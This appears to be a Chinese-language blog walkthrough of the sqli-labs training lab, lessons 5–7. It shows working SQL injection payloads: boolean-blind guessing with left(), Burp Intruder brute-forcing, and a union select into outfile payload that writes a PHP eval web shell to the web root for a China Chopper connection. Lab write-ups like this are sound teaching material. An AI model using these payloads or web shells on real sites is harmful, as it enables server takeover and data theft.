sqli-labs Less05-Less07

Lesson 05 Double injection -Single quotes - string (双注入GET单引号字符型注入)  bool型注入

 

 

(1)查看是否有注入

 

   ?id=1

 

 

 

   SELECT * FROM users WHERE id='1' LIMIT 0,1

 

    当随便输入一个ID值时

 

   没有返回任何东西,通过此可以判断此为布尔盲注。

  就是当正确时,返回结果;错误的时候,不会返回结果

 

 

(2)加上单引号,报错

 

  ?id=1'

 

 

 

  SELECT * FROM users WHERE id='1'' LIMIT 0,1

 

 

  错误显示,1的附近多了一个单引号,说明有注入漏洞

 

(3)使用 order by 语句

  发现还是三列

 

  ?id=1' order by 3--+

 

 

 

 

(4)这个时候,并不能直接使用union select 语句,因为此时只要输入正确就会出现此语句,并没显示用户的信息。这里使用left()函数,来探取、判断用户信息。

 

 

  ?id=1' and left((select database()),1)='s'--+

 

 

  此时返回正常,说明库的第一个字母为s

  但是,这样猜解过于麻烦,此时需要使用burp suite爆破

  爆破过程:先设置代理,打开burp suite,获取信息,发送到Intruder,对整体进行clear,再选中a,将a作为变量,点击ADD,把相关配置配置好,开始爆破,出现的结果进行排序,在最上面,数值与其他结果不一样的就是正确的,再继续探索即可,具体图片不再展示。

  之后操作一样,不断爆破,最后得到猜解出结果为security

 

  Lesson 05结束

 

 

 

Lesson 06 Double injection -Double quotes - String (双注入GET双引号字符型注入)

  这道题与第五课差不多

 

(1)首先测试一下是什么样的

  ?id=1

 

 

  包裹着1的是双引号,所以只后测试不用加单引号,直接加双引号即可。

 

(2)加上双引号测试

 

   有错误

 

(3)使用order by语句查列

    还是三列

 

 

 

 

  这对我们来说并没有什么用处,因为它没有回显

  剩下的皆与上一课相似,不再过多演示

 

 

  Lesson 06结束

 

 

Lesson 07 Dump into outfile - String (导出文件GET字符型注入)

 

(1)先进行测试,看回显出的语句是什么

   ?id=1

 

   SELECT * FROM users WHERE id=(('1')) LIMIT 0,1

 

 

  显示要用outfile函数去写

 

(2)看测试出的sql语句,得出下次测试需要在后面加上’)),记得注释掉

    ?id=1'))--+

 

   显示出正确结果

 

(3)使用order by语句测试出有三列

 

(4)使用union select语句进行联合查询(这里要使用一句话木马,中国菜刀)

   先不用一句话木马,只是用outfile往文件里写入一个简单的单词

  ?id=-1')) union select 1,2,'crow' into outfile "C:\\phpstudy\\WWW\\sqli-labs-master\\Less-7\\test.php"--+

  此时Less-7文件夹里出现了新建立的test.php文件,里面有刚写入的数据

 

 

 

 

  若前面不是-1,而是1,则还会多一行原本的用户信息

 

 

(5)因为要使用中国菜刀进行访问,所以要把一句话木马写进去

  ?id=-1')) union select 1,2,'<?php @eval($_POST["crow"]);?>'into outfile "C:\\phpstudy\\WWW\\sqli-labs-master\\Less-7\\a.php"--+

 

 

 

 

  一句话木马中,双引号内的就是密码

 

(6)现在开始使用中国菜刀,先直接进行访问

  http://192.168.3.254/sqli-labs-master/Less-7/a.php

 

 

  现在还什么都不显示

 

 

  使用中国菜刀进行连接

 

 

 

   这时,就成功拿到这个网站的web shell

 

 

 

  补充:

 

  1. into outfile 写文件

    可以把前面的文字写入指定的文件或者指定的路径

 

 

 

   如果出现错误,可以将\改为\\,会比较安全

 

  2.load_file() 读取本地文件

 

 

 

  Lesson 07结束

 

posted @ 2020-03-17 11:39  zhaihuijie  阅读(172)  评论(0编辑  收藏  举报